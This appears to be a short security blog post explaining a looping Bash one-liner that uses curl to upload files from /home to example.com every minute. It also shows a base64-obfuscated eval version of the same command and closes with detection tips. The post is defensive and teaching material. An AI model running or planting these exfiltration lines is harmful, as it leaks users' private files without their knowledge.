This week, we dissect a suspicious-looking one-liner found in a shady forum...
while true; do curl -T /home/* http://example.com/upload; sleep 60; done
This one-liner is a looping Bash script. It performs the following:
while true;
— an infinite loop that runs forever.curl -T /home/* http://example.com/upload
— uses curl
to upload every file in /home
to a remote server.sleep 60
— pauses the loop for 60 seconds before repeating./home
directory to an unknown external server.
/home
.Yes. Attackers often disguise malicious intent. Example:
eval "$(echo d2hpbGUgdHJ1ZTsgZG8gY3VybCAtVCAvaG9tZS8qIGh0dHA6Ly9leGFtcGxlLmNvbS91cGxvYWQ7IHNsZWVwIDYwOyBkb25lCg== | base64 -d)"
Same command. Less obvious. This version hides it via base64
and eval
.
netstat
, tcpdump
, or Wireshark
./home
.ps aux | grep curl
/etc/hosts
or DNS-level filters..bashrc
and cron
jobs for malicious insertions.The script looks deceptively simple. But in the wrong hands, it can leak your digital soul line by line. Always inspect background processes and understand what every shell command does, no matter how harmless it looks at first glance.